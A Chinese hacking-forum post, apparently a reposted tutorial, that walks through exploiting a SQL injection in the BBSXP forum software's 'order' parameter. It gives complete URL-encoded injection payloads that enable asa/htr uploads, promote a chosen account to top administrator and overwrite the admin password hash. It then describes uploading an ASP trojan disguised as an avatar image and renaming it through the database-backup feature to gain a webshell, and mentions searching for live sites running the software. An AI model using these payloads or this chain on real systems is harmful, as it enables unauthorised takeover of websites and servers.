矮人村

标题: 探究BBSXP的漏洞 [打印本页]

作者: zhangyu75    时间: 2018-3-8 22:57
标题: 探究BBSXP的漏洞
最近又有人爆出国内一款影响力比较大的论坛bbsxp有SQL注入漏洞,可惜大虾们总是爱把漏洞握在手里不放,我们这些小菜们只好祈祷哪个大虾好心把漏洞给放出来。终于某日……在某著名黑客网站上发现了该漏洞的利用动画+工具。
抱着顶礼膜拜的心情从该站点上把动画和工具下载了下来,结果动画里只说了那个工具的使用方法,选择“添加上传asa设置.dat”或者“去掉上传asa设置.dat”这两个个数据包,然后发送便可以上传asa文件了(或者去掉上传asa格式)。

也许有小鸟又要问了:为什么要上传asa文件?不是要asp的么?这里说一下:因为在IIS里,默认的asa文件和asp文件都是映射到asp.dll这个文件。所以,把一个ASP木马改后缀名为asa上传到服务器后效果是一样的!

明眼人一看就知道是数据包搞的鬼,那让我们看看数据包里到底有什么东东。用记事本打开后发现内容如下:
POST [postpage] HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Maxthon)
Host: [hostname]
Content-Length: 165
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: skins=1; ASPSESSIONIDSASRSRSS=CAHDJIHDLHNOADGPGNHLHIDB

order=id+DECLARE+@cmd+sysname+set+@cmd%3D0x7c00610073006100+update+clubconfig+set+UpFileGenre%3DupFileGenre%2B@cmd+select+*+from+%5Buser%5D+order+by+id&Submit=Submit
看到这里,手工抓包玩过上传漏洞的朋友可能就很清楚了!前面的都是HTTP协议发送数据包的格式。文件开头的[postpage]跟某版面的的地址,中间的[hostname]是站点地址。而重点就在order=id+DECLARE+@cmd+sysname+set+@cmd%3D0x7c00610073006100+update+clubconfig+set+UpFileGenre%3DupFileGenre%2B@cmd+select+*+from+%5Buser%5D+order+by+id这一句了!这句是什么意思呢?我们把里面的那些+号啊,十六进制什么的翻译过来再说!从狗狗上搜了一个ASCII对照表,将这个句子还原过来:
Order=id DECLARE @cmd sysname set @cmd=|asa
Update clubconfig set upfilegenre=upfilegenre+@cmd
Select * from [user] order by id
很明显,是order变量过滤不严的问题。我们带着这个想法来看shwoforum.asp这个文件。(为什么?因为动画里就是这个文件啊!)找啊找啊找朋友,找到一个好朋友!终于在第146行看到了这么一句:
sql="select top "&pagesetup&" * from [forum] "&topsql&" order by toptopic Desc,"&order&" Desc"
Set Rs=Conn.Execute(sql)
Order就这么放进了SQL语句里执行了!那么order到底有没有经过过滤呢?
往上面搜一下order,很容易在109行找到这么一段:
if Request("order")"" then
order=HTMLEncode(Request("order"))
else
order="lasttime"
很明显,order是经过了HTMLEncode这个函数过滤了的!那么且慢,我记得以前有篇文章《BBSXP 所有版本漏洞曝光》中,作者似乎对这个HTMLEncode过滤很有点意见!于是我们去网上搜了一下这篇文章,看到了关于HTMLEncode函数的解释!
function HTMLEncode(fString)
fString=replace(fString,";","&#59;")
fString=server.htmlencode(fString)
fString=replace(fString,"'","'")
fString=replace(fString,"--","--")
fString=replace(fString,"","\")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
原来它只是过滤了 ; ‘ -- 和回车。fString=server.htmlencode(fString)这句则是将所有的HTML符号直接显示出来,于是html符号也被过滤掉了,那么如果我们避开这些符号可以写出SQL语句的话,MSSQL是支持多语句执行的,那么便可以做到SQL注射了!(我们知道BBSXP分ACCESS版和SQL版,ACCESS是不支持多语句执行的,所以好多SQL注射漏洞都是只能在SQL版的程序上利用)我们还是再来看看文件里的语句:
sql="select top "&pagesetup&" * from [forum] "&topsql&" order by toptopic Desc,"&order&" Desc"
由于一句order by toptopic Desc,这里有个逗号没有完成!所以我们要想办法凑足一个东西给它。Id就是用来配对这个order by的!这样,语句就变成了select * from [forum] order by toptopic Desc,id 就是按照toptopic和id排序。同样,那句SQL语句里最后还有一个Desc (在SQL中,这是排序时使用降序排列的意思),由于HTMLEncode这个函数过滤了--,有就是注释符号,所以我们不能像往常玩SQL注射一样去把后面的语句注释掉不管,而要构造出一个语句与之配对!所以我们在要饭的工具数据包尾可以看到这么一句:select * from [user] order by id
这一句是用来配对那个Desc的,这样,前后都不会出错了以后,中间就是我们的天下了!还记得吧,我们说过了,MSSQL是支持多语句执行的!那么中间我们只需要按照牛人们给的格式绕开那些被过滤掉了的符号构造SQL语句就可以了!
DECLARE @cmd sysname set @cmd=|asa
Update clubconfig set upfilegenre=upfilegenre+@cmd
这便是牛人教我们绕开前面提到的那些符号而一样做出来的SQL语句!它是什么意思呢?打开MSSQL查询分析器我们会发现,clubconfig这张表里的upfilegenre是用来保存允许上传文件的类型的!而upfilegenre+@cmd是什么呢?还记得前面我们定义@cmd为|asa吧!所以,这句SQL语句就是使得允许上传的类型里增加了asa这种类型!然后我们就可以上传asa文件了!
明白了这个道理以后,我马上就从BBSXP官方下载了5.15版的源代码,本地搭建了一个SQL的BBSXP论坛作为测试环境。随手打开一个版块,找到URL,这里是127.0.0.1/bbsxp/ShowForum.asp?forumid=1,由于多个参数间需要用&符号来连接。所以我们提交

127.0.0.1/bbsxp/ShowForum.asp?forumid=1&order=id+DECLARE+@cmd+sysname+set+@cmd%3D0x7c00610073006100+update+clubconfig+set+UpFileGenre%3DupFileGenre%2B@cmd+select+*+from+%5Buser%5D+order+by+id
结果正常返回了原页面,于是我们去发帖,上传一个asa文件,结果却提示不允许上传asa文件!难道官方这么快就修补了这个漏洞了?进入后台后,发现允许上传的类型中确实增加了asa类型,到底怎么回事呢?
打开upfile.asp(负责上传的文件),不出所料,看到这么一句:
sub check(typ)
if instr("|"&UpFileGenre&"|","|"&typ&"|")
main()
{int i;
char s[255];
scanf("%s",s);
printf("0x");
for(i=0;i<strlen(s);i++)
{printf("%x00",s〔i〕); }
printf("n");
}
运行程序得到|htr的十六进制码为0x7c00680074007200,然后将其替换原SQL语句,提交,就可以上传htr马了!
(此处图片省略)
研究得到这个了以后,我和zj马上搜索关键字:“Powered by BBSxp 5.1x SQL/Licence”(其中x为不定值)结果发现好多站都强行将upfile.asp删除了,即使我们添加了htr类型也是枉然,根本就不让上传,能怎么办?
不过转念一想,难道SQL漏洞的利用就只有这么一种方式吗?如果能够将自己添加为管理员,并且将后台密码修改为自己指定的密码也是一种方法啊!虽然我们是小菜,可是我们不能习惯着吃别人的现成饭!我们完全可以自己动手来修改里面的SQL语句!于是打开查询分析器,发现user表中,membercode的值代表的就是论坛上的级别!如果membercode的值为5,那么身份就是“社区区长”了!很明显,修改这个值是很简单的!
Declare @cmd sysname set @cmd=test
Update [user] set [membercode]=5 where [username]=@cmd
这样就可以将用户名为test的用户提为社区区长了!当然,这样写是为了好懂,真实环境下我们是按照原来的格式,把其中的空格都用+代替,而test则要用十六进制表示!=号用%3D,“[”和“]”则分别用%5B和%5D代替。(其实为什么偶也不大明白,只不过牛人们这么做俺就依样画葫芦咯~反正我试过,不按这样做就失败)然后,把整个句子合起来就是:
order=id+Declare+@cmd+sysname+set+@cmd%3D0x7400650073007400+Update+%5Buser%5D+set+%5Bmembercode%5D=5+where+%5Busername%5D=@cmd+select+*+from+%5Buser%5D+order+by+id
提交后,成功的将test用户提升为社区区长了。然后发现,BBSXP不像动网那样后台可以有多用户,而只是在clubconfig里有一个adminpassword作为后台密码,只要身份为社区区长的用户输入后台密码就可以进入后台管理了!那么后台密码怎么修改呢?同样很简单,看下面的SQL语句:

Declare @cmd sysname set @cmd=(密码MD5散列的十六进制) Update [clubconfig] set [adminpassword]=@cmd
不过这句看起来一点语法错误都没有的SQL语句却耗掉了我一个下午的时间!BBSXP后台密码是MD5加了密的32位散列!如果我们将123456加密以后得到的e10adc3949ba59abbe56e057f20f883e直接插入数据库,结果却发现怎么输密码都不对!结果仔细对比user表中的密码才发现我犯了一个低级错误—BBSXP的密码MD5散列把所有的字母都转换为大写了!所以在用我那个小程序转换的时候,需要将Caps Lock灯常亮着!(免得程序实现多麻烦啊)得到散列如下:
0x45003100300041004400430033003000340030004200410035003900410042004200450035003600450030003500370046003200300046003800380033004500
然后用它去填补@cmd=后面的值,并将其他符号相应转换后,满怀希望的提交,却得到如下结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e21'
多步 OLE DB 操作产生错误。请检查每个 OLE DB 状态值。没有工作被完成。
/bbsxp/inc/line.asp,行6

开始还以为SQL语句弄错了,结果捣鼓了一下午也没检查出哪里有问题。晚上忽然随手把那一串东东删除掉一部分,只保留了一个字符:0x4500,提交后,惊奇的发现,SQL语句没错!在查询分析器里发现后台密码成功的被改为了E!于是明白了,SQL语句太长了提交的时候会出错,再实验的时候,发现提交16位都不会出错,那么思路就很清晰了!分两步来做:
首先将MD5的32位散列分成前后两段,各16位,然后第一次提交前16位,第二次再使用 原密码+新16位密码=完整密码 的办法来解决!那么完整的步骤应该是这样子的:
0x4500310030004100440043003300300034003000420041003500390041004200是第一次提交时@cmd的值,由于只是简单的替换,就不再写出完整的语句了。0x4200450035003600450030003500370046003200300046003800380033004500是32位MD5散列的后16位值,实现这部分功能的SQL语句如下:
Declare @cmd sysname set @cmd=0x4200450035003600450030003500370046003200300046003800380033004500 update clubconfig set adminpassword=adminpassword+@cmd
这里的+号要用%2B替换,其他的照前文做就可以了。然后提交后,成功的将后台密码更改为123456!(本文给出的工具在更改后台密码时,将会提示“第一次发送成功”“第二次发送成功”就是因为这个!)
好了,要饭的工具里还有一个将允许上传asa类型的设置去掉的功能。我SQL没学好,怎么也想不出来就去看他的SQL语句是怎么构造的,结果此时也发现了一个小诀窍,根本不用把他那一串天书般的符号对照ASCII表,我们随便找个URL点提交后,查看返回的信息里写的清清楚楚!他的原文是这样的:
update+clubconfig+set+UpFileGenre%3Dsubstring%28upFileGenre%2C1%2Clen%28upfilegenre%29-4%29
在返回的信息中,很容易的看到:
ShowPage(0,0,"forumid=1&order=id update clubconfig set UpFileGenre=substring(upFileGenre,1,len(upfilegenre)-4) select * from [user] order by id&search=&TimeLimit=")
这句SQL语句的意思就是,把UpFileGenre修改为原UpFileGenre去掉后四个字符后的值!假设原先论坛允许上传的类型为:jpg|doc|rar,经过我们的设置后变为 jpg|doc|rar|asa,现在要还原当然是将“|asa”这四个字符去掉了!(而zj在做工具的时候,体贴的为大家一次将|asa|cer|cdx|htr四种类型都加了进去,在去掉这些设置的时候,则是减掉后16个字符。所以在这里严重警告大家,如果你没有添加这四个类型,不要贸然使用工具去掉|asa|cer|cdx|htr。因为你会将会把原论坛的设置删掉的!)
也许有小菜朋友要问了,那只能玩玩人家的论坛有什么意思啊?我们的目的是要webshell啊!这个就要看运气了!如果管理员只是简单的将upfile.asp删除的话,是不用担心的,因为upfile.asp并不是唯一可上传的地方啊!upface.asp和upphoto.asp都能上传东东!只不过只允许上传图片而已,并且不受论坛设置的影响。我们到上传头像的位置,把newmm.asp改名为newmm.gif(因为头像大小限制在10K,其他的马儿都太大了),上传后,返回时看到头像的位置是一张不能显示的图片,点右键看属性就知道它的具体位置了,localhost/bbsxp/images/upface/2.gif

接下来,我们进入后台,找到数据管理--access 数据库按钮,使用备份数据库的办法就可以成功的获得webshell了,步骤如下:
在数据库路径填入images/upface/2.gif,备份的数据库路径填入images/upface/2.asp,然后点备份!
没想到居然又跑出一句:数据库路径中不能包含.asp!

又来这套,把asp改为asa,再次备份,搞定~!然后访问localhost/bbsxp/images/upface/2.asa


写在文末的话,这篇文章技术含量并不很高,笔者写它的最终目的并不是揭露什么技术,而是希望将一种思想告诉大家,别人发现了漏洞,乍一看,是上传漏洞,可是真正去研究一下它,你会得到更多!我们是菜鸟,所以手上得不到未公布的漏洞,可是漏洞的利用工具出来以后,我们不要只会使用这个工具而应该去了解一个漏洞的原理!技术是累积的,入侵就像堆积木,手上的积木(掌握的基本技术)越多,入侵的时候搭出来的积木才够精彩!因为此漏洞的利用非常的傻瓜,研究完其原理后,觉得完全可以不必要用到VB这种高深的知识,甚至写一个HTML文件就可以post数据达到目的了。顶多就是修改目标url时麻烦点。可是我最好的朋友zj1244还是将自己的利用工具做了出来,并且执意不在本文作者中署名。在此表示衷心的感谢!
问:
答:我们使用的语句是
update clubconfig set adminpassword=adminpassword+@cmd

这里的cmd 是前面定义的.因为BBSXP的MD5是32位的
而每一位都必须是 6500 一类的,占四个字节.如果全部写进去的话,语句出错.(因为太长了)
而只写一半,也就是16位的话,并不出错.

于是分两次执行是这样的,
第一次
update clubconfig set adminpassword=前十六位. --->此时adminpassword已经有了前一半了 这样的句子还不算长,不出错
第二次
update clubconfig set adminpassword=adminpassword+后十六位 -->此时只需要写后十六位的unicode码,也不算长,还是不出错




欢迎光临 矮人村 (http://airencun.com/) Powered by Discuz! X3.1